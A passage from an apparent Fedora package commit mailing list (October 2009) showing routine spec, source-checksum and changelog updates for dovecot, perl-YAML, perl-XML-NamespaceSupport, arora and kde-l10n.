* Sat Feb 02 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080127-1
- New upstream release

* Tue Jan 22 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20071231-1
- New upstream release

* Mon Sep 03 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070902-1
- New upstream release

* Thu Aug 23 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-2
- mass rebuild for fedora 8 - ppc32

* Sat Jul 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-1
- New upstream release

* Tue Jun 27 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070626-1
- new upstream release

* Thu Jun 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070526-1
- new upstream release

* Wed Mar 28 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070216-1
- fix ownership of /usr/share/gEDA/docs -  #233792

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20061020-1
- New upstream release

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-2
- Rebuilt for FC-6 devel

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-1
- Upstream release 20060906

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-2
- Removed unauthorized file : MPEG sequence : favicon

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-1
- Upstream release 20060824

* Mon Aug 28 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060123-3
- rebuilt for FC5 and later with minor fixes



--- NEW FILE import.log ---
geda-gaf-1_6_0-1_fc11:EL-5:geda-gaf-1.6.0-1.fc11.src.rpm:1254822324


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:11:44 -0000	1.1
+++ .cvsignore	6 Oct 2009 09:45:53 -0000	1.2
@@ -0,0 +1 @@
+geda-gaf-1.6.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:11:45 -0000	1.1
+++ sources	6 Oct 2009 09:45:53 -0000	1.2
@@ -0,0 +1 @@
+1dacc71407e69d77eaf4c1115f5bcd56  geda-gaf-1.6.0.tar.gz



From mhlavink at fedoraproject.org  Tue Oct  6 09:57:36 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue,  6 Oct 2009 09:57:36 +0000 (UTC)
Subject: rpms/dovecot/devel .cvsignore, 1.58, 1.59 dovecot.spec, 1.140,
	1.141 sources, 1.62, 1.63
Message-ID: <20091006095736.8857811C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24507

Modified Files:
	.cvsignore dovecot.spec sources 
Log Message:
* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
- dovecot updated to 1.2.6
- Added authtest utility for doing passdb and userdb lookups.
- login: ssl_security string now also shows the used compression.
- quota: Don't crash with non-Maildir++ quota backend.
- imap proxy: Fixed crashing with some specific password characters.
- fixed broken dovecot --exec-mail.
- Avoid assert-crashing when two processes try to create index at the
  same time.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	17 Sep 2009 15:08:17 -0000	1.58
+++ .cvsignore	6 Oct 2009 09:57:36 -0000	1.59
@@ -1,4 +1,4 @@
-dovecot-1.2.5.tar.gz
+dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.4-managesieve-0.11.9.diff.gz
+dovecot-1.2.5-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/dovecot.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- dovecot.spec	30 Sep 2009 13:37:46 -0000	1.140
+++ dovecot.spec	6 Oct 2009 09:57:36 -0000	1.141
@@ -1,8 +1,8 @@
 Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
-Version: 1.2.5
-Release: 2%{?dist}
+Version: 1.2.6
+Release: 1%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
 
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.4-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -435,6 +435,16 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
+- dovecot updated to 1.2.6
+- Added authtest utility for doing passdb and userdb lookups.
+- login: ssl_security string now also shows the used compression.
+- quota: Don't crash with non-Maildir++ quota backend.
+- imap proxy: Fixed crashing with some specific password characters.
+- fixed broken dovecot --exec-mail.
+- Avoid assert-crashing when two processes try to create index at the
+  same time.
+
 * Tue Sep 29 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.5-2
 - build with libcap enabled
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	17 Sep 2009 15:08:17 -0000	1.62
+++ sources	6 Oct 2009 09:57:36 -0000	1.63
@@ -1,4 +1,4 @@
-8b057903d6a527dac964b51c5638c625  dovecot-1.2.5.tar.gz
+807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-6dd2ef2d46b3b63238237455558a14e1  dovecot-1.2.4-managesieve-0.11.9.diff.gz
+22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From mmaslano at fedoraproject.org  Tue Oct  6 10:08:04 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue,  6 Oct 2009 10:08:04 +0000 (UTC)
Subject: rpms/perl-YAML/devel .cvsignore, 1.8, 1.9 perl-YAML.spec, 1.23,
	1.24 sources, 1.10, 1.11
Message-ID: <20091006100804.6E2F911C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-YAML/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26187

Modified Files:
	.cvsignore perl-YAML.spec sources 
Log Message:
* Tue Oct 6  2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-1
- new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-YAML/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Dec 2008 16:55:08 -0000	1.8
+++ .cvsignore	6 Oct 2009 10:08:04 -0000	1.9
@@ -1 +1 @@
-YAML-0.68.tar.gz
+YAML-0.70.tar.gz


Index: perl-YAML.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-YAML/devel/perl-YAML.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- perl-YAML.spec	26 Jul 2009 17:42:17 -0000	1.23
+++ perl-YAML.spec	6 Oct 2009 10:08:04 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           perl-YAML
-Version:        0.68
-Release:        3%{?dist}
+Version:        0.70
+Release:        1%{?dist}
 Summary:        YAML Ain't Markup Language (tm)
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/YAML*.3*
 
 %changelog
+* Tue Oct 6  2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.68-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-YAML/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	10 Dec 2008 16:55:08 -0000	1.10
+++ sources	6 Oct 2009 10:08:04 -0000	1.11
@@ -1 +1 @@
-4b4255360bb885acdba05314daa9129a  YAML-0.68.tar.gz
+425973520e8fd84beb6cb95de29f3534  YAML-0.70.tar.gz



From mhlavink at fedoraproject.org  Tue Oct  6 10:21:15 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue,  6 Oct 2009 10:21:15 +0000 (UTC)
Subject: rpms/dovecot/F-12 .cvsignore, 1.58, 1.59 dovecot.spec, 1.139,
	1.140 sources, 1.62, 1.63
Message-ID: <20091006102115.6B0E611C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27647

Modified Files:
	.cvsignore dovecot.spec sources 
Log Message:
* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
- dovecot updated to 1.2.6
- Added authtest utility for doing passdb and userdb lookups.
- login: ssl_security string now also shows the used compression.
- quota: Don't crash with non-Maildir++ quota backend.
- imap proxy: Fixed crashing with some specific password characters.
- fixed broken dovecot --exec-mail.
- Avoid assert-crashing when two processes try to create index at the
  same time.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	17 Sep 2009 15:08:17 -0000	1.58
+++ .cvsignore	6 Oct 2009 10:21:14 -0000	1.59
@@ -1,4 +1,4 @@
-dovecot-1.2.5.tar.gz
+dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.4-managesieve-0.11.9.diff.gz
+dovecot-1.2.5-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- dovecot.spec	30 Sep 2009 13:46:44 -0000	1.139
+++ dovecot.spec	6 Oct 2009 10:21:15 -0000	1.140
@@ -1,8 +1,8 @@
 Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
-Version: 1.2.5
-Release: 2%{?dist}
+Version: 1.2.6
+Release: 1%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
 
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.4-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -435,6 +435,16 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
+- dovecot updated to 1.2.6
+- Added authtest utility for doing passdb and userdb lookups.
+- login: ssl_security string now also shows the used compression.
+- quota: Don't crash with non-Maildir++ quota backend.
+- imap proxy: Fixed crashing with some specific password characters.
+- fixed broken dovecot --exec-mail.
+- Avoid assert-crashing when two processes try to create index at the
+  same time.
+
 * Tue Sep 29 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.5-2
 - build with libcap enabled
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	17 Sep 2009 15:08:17 -0000	1.62
+++ sources	6 Oct 2009 10:21:15 -0000	1.63
@@ -1,4 +1,4 @@
-8b057903d6a527dac964b51c5638c625  dovecot-1.2.5.tar.gz
+807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-6dd2ef2d46b3b63238237455558a14e1  dovecot-1.2.4-managesieve-0.11.9.diff.gz
+22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From mhlavink at fedoraproject.org  Tue Oct  6 10:22:06 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue,  6 Oct 2009 10:22:06 +0000 (UTC)
Subject: rpms/dovecot/F-11 .cvsignore, 1.66, 1.67 dovecot.spec, 1.142,
	1.143 sources, 1.69, 1.70
Message-ID: <20091006102206.1739411C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27811

Modified Files:
	.cvsignore dovecot.spec sources 
Log Message:
* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
- dovecot updated to 1.2.6
- Added authtest utility for doing passdb and userdb lookups.
- login: ssl_security string now also shows the used compression.
- quota: Don't crash with non-Maildir++ quota backend.
- imap proxy: Fixed crashing with some specific password characters.
- fixed broken dovecot --exec-mail.
- Avoid assert-crashing when two processes try to create index at the
  same time.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	18 Sep 2009 07:36:31 -0000	1.66
+++ .cvsignore	6 Oct 2009 10:22:05 -0000	1.67
@@ -1,4 +1,4 @@
-dovecot-1.2.5.tar.gz
+dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.4-managesieve-0.11.9.diff.gz
+dovecot-1.2.5-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/dovecot.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- dovecot.spec	18 Sep 2009 07:36:31 -0000	1.142
+++ dovecot.spec	6 Oct 2009 10:22:05 -0000	1.143
@@ -1,7 +1,7 @@
 Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
-Version: 1.2.5
+Version: 1.2.6
 Release: 1%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.4-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -242,8 +242,8 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/%{name
 
 install -p -m 755 src/plugins/convert/convert-tool $RPM_BUILD_ROOT%{_libexecdir}/%{name}
 
-mkdir -p $RPM_BUILD_ROOT%{_initrddir}
-install -p -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_initrddir}/dovecot
+mkdir -p $RPM_BUILD_ROOT%{_initddir}
+install -p -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_initddir}/dovecot
 
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/pam.d
 install -p -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/pam.d/dovecot
@@ -355,7 +355,7 @@ fi
 %doc %{docdir}-%{version}
 %config(noreplace) %{_sysconfdir}/dovecot.conf
 %attr(0600,root,root) %config(noreplace) %{_sysconfdir}/sysconfig/dovecot
-%{_initrddir}/dovecot
+%{_initddir}/dovecot
 %config(noreplace) %{_sysconfdir}/pam.d/dovecot
 %dir %{ssldir}
 %dir %{ssldir}/certs
@@ -434,6 +434,16 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
+- dovecot updated to 1.2.6
+- Added authtest utility for doing passdb and userdb lookups.
+- login: ssl_security string now also shows the used compression.
+- quota: Don't crash with non-Maildir++ quota backend.
+- imap proxy: Fixed crashing with some specific password characters.
+- fixed broken dovecot --exec-mail.
+- Avoid assert-crashing when two processes try to create index at the
+  same time.
+
 * Fri Sep 18 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.5-1
 - updated to dovecot 1.2.5
 - Authentication: DIGEST-MD5 and RPA mechanisms no longer require


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	18 Sep 2009 07:36:31 -0000	1.69
+++ sources	6 Oct 2009 10:22:05 -0000	1.70
@@ -1,4 +1,4 @@
-8b057903d6a527dac964b51c5638c625  dovecot-1.2.5.tar.gz
+807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-6dd2ef2d46b3b63238237455558a14e1  dovecot-1.2.4-managesieve-0.11.9.diff.gz
+22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From mmaslano at fedoraproject.org  Tue Oct  6 10:26:45 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue,  6 Oct 2009 10:26:45 +0000 (UTC)
Subject: rpms/perl-XML-NamespaceSupport/devel .cvsignore, 1.3,
	1.4 perl-XML-NamespaceSupport.spec, 1.14, 1.15 sources, 1.3, 1.4
Message-ID: <20091006102645.147FB11C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29044

Modified Files:
	.cvsignore perl-XML-NamespaceSupport.spec sources 
Log Message:
* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.10-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	9 Sep 2005 22:23:45 -0000	1.3
+++ .cvsignore	6 Oct 2009 10:26:44 -0000	1.4
@@ -1 +1 @@
-XML-NamespaceSupport-1.09.tar.gz
+XML-NamespaceSupport-1.10.tar.gz


Index: perl-XML-NamespaceSupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel/perl-XML-NamespaceSupport.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-XML-NamespaceSupport.spec	26 Jul 2009 17:36:16 -0000	1.14
+++ perl-XML-NamespaceSupport.spec	6 Oct 2009 10:26:44 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           perl-XML-NamespaceSupport
-Version:        1.09
-Release:        6%{?dist}
+Version:        1.10
+Release:        1%{?dist}
 Summary:        A simple generic namespace support class
 
 Group:          Development/Libraries
@@ -19,7 +19,7 @@ Requires:       perl(:MODULE_COMPAT_%(ev
 
 %prep
 %setup -q -n XML-NamespaceSupport-%{version}
-chmod -c 644 Changes README *.pm
+chmod -c 644 Changes README 
 
 %build
 %{__perl} Makefile.PL INSTALLDIRS=vendor
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.10-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.09-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	9 Sep 2005 22:23:45 -0000	1.3
+++ sources	6 Oct 2009 10:26:44 -0000	1.4
@@ -1 +1 @@
-b0867d7b599d8a63ba630fa6227936fe  XML-NamespaceSupport-1.09.tar.gz
+0a760067d4b517672f064e911679c509  XML-NamespaceSupport-1.10.tar.gz



From jreznik at fedoraproject.org  Tue Oct  6 10:39:24 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Tue,  6 Oct 2009 10:39:24 +0000 (UTC)
Subject: rpms/arora/devel arora-0.10.1-gitversion.patch, NONE, 1.1 .cvsignore,
	1.11, 1.12 arora.spec, 1.22, 1.23 sources, 1.11,
	1.12 arora-0.10.0-gitversion.patch, 1.1, NONE
Message-ID: <20091006103924.F11C411C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30441

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.1-gitversion.patch 
Removed Files:
	arora-0.10.0-gitversion.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
- Update to 0.10.1


arora-0.10.1-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.1-gitversion.patch ---
diff -up arora-0.10.1/src/src.pri.gitversion arora-0.10.1/src/src.pri
--- arora-0.10.1/src/src.pri.gitversion	2009-10-05 05:31:48.000000000 +0200
+++ arora-0.10.1/src/src.pri	2009-10-06 12:37:27.690582177 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"e5385f3\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1329\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Oct 2009 08:25:42 -0000	1.11
+++ .cvsignore	6 Oct 2009 10:39:24 -0000	1.12
@@ -1 +1 @@
-arora-0.10.0.tar.gz
+arora-0.10.1.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/arora.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- arora.spec	2 Oct 2009 08:43:58 -0000	1.22
+++ arora.spec	6 Oct 2009 10:39:24 -0000	1.23
@@ -1,13 +1,13 @@
 Name:           arora
-Version:        0.10.0
-Release:        2%{?dist}
+Version:        0.10.1
+Release:        1%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.10.0-gitversion.patch
+Patch0:         arora-0.10.1-gitversion.patch
 Patch1:         arora-0.10.0-fedorabookmarks.patch
 Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
+- Update to 0.10.1
+
 * Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
 - Fedorahome patch rebased
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Oct 2009 08:25:43 -0000	1.11
+++ sources	6 Oct 2009 10:39:24 -0000	1.12
@@ -1 +1 @@
-664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz
+ac38282a2d9134687d9c30dbb73c0fbc  arora-0.10.1.tar.gz


--- arora-0.10.0-gitversion.patch DELETED ---



From than at fedoraproject.org  Tue Oct  6 10:44:28 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue,  6 Oct 2009 10:44:28 +0000 (UTC)
Subject: rpms/kde-l10n/devel kde-l10n.spec,1.98,1.99
Message-ID: <20091006104428.B5CB911C00C1@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kde-l10n/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31756

Modified Files:
	kde-l10n.spec 
Log Message:
fix rpm file list



Index: kde-l10n.spec
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/devel/kde-l10n.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- kde-l10n.spec	5 Oct 2009 16:13:58 -0000	1.98
+++ kde-l10n.spec	6 Oct 2009 10:44:28 -0000	1.99
@@ -1042,6 +1042,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(eu) %{_datadir}/locale/eu/LC_MESSAGES/*
 %lang(eu) %{_datadir}/locale/eu/entry.desktop
+%lang(eu) %{_kde4_docdir}/HTML/eu
 
 %if %{buildall}
 %files Farsi
@@ -1106,6 +1107,7 @@ rm -rf %{buildroot}
 %lang(he) %{_datadir}/locale/he/LC_MESSAGES/*
 %lang(he) %{_datadir}/locale/he/entry.desktop
 %lang(he) %{_kde4_appsdir}/klettres/he
+%lang(he) %{_kde4_docdir}/HTML/he
 
 %files Hindi
 %defattr(-,root,root)
@@ -1116,6 +1118,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(hr) %{_datadir}/locale/hr/LC_MESSAGES/*
 %lang(hr) %{_datadir}/locale/hr/entry.desktop
+%lang(hr) %{_datadir}/locale/hr/LC_SCRIPTS
 
 %files Hungarian
 %defattr(-,root,root)
@@ -1211,6 +1214,7 @@ rm -rf %{buildroot}
 %lang(nds) %{_kde4_appsdir}/ktuberling/sounds/nds*
 %lang(nds) %{_kde4_appsdir}/katepart/syntax/logohighlightstyle.nds.xml
 %lang(nds) %{_kde4_appsdir}/kturtle/examples/nds
+%lang(nds) %{_kde4_docdir}/HTML/nds
 
 %files Latvian
 %defattr(-,root,root)
@@ -1325,6 +1329,7 @@ rm -rf %{buildroot}
 %lang(pl) %{_kde4_appsdir}/khangman/pl.txt
 %lang(pl) %{_kde4_appsdir}/kvtml/pl
 %lang(pl) %{_kde4_docdir}/HTML/pl
+%lang(pl) %{_mandir}/pl/*/*
 
 %files Portuguese
 %defattr(-,root,root)



From jreznik at fedoraproject.org  Tue Oct  6 10:49:17 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Tue,  6 Oct 2009 10:49:17 +0000 (UTC)
Subject: rpms/arora/F-12 arora-0.10.1-gitversion.patch, NONE, 1.1 .cvsignore,
	1.11, 1.12 arora.spec, 1.21, 1.22 sources, 1.11,
	1.12 arora-0.10.0-gitversion.patch, 1.1, NONE
Message-ID: <20091006104918.0D61911C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

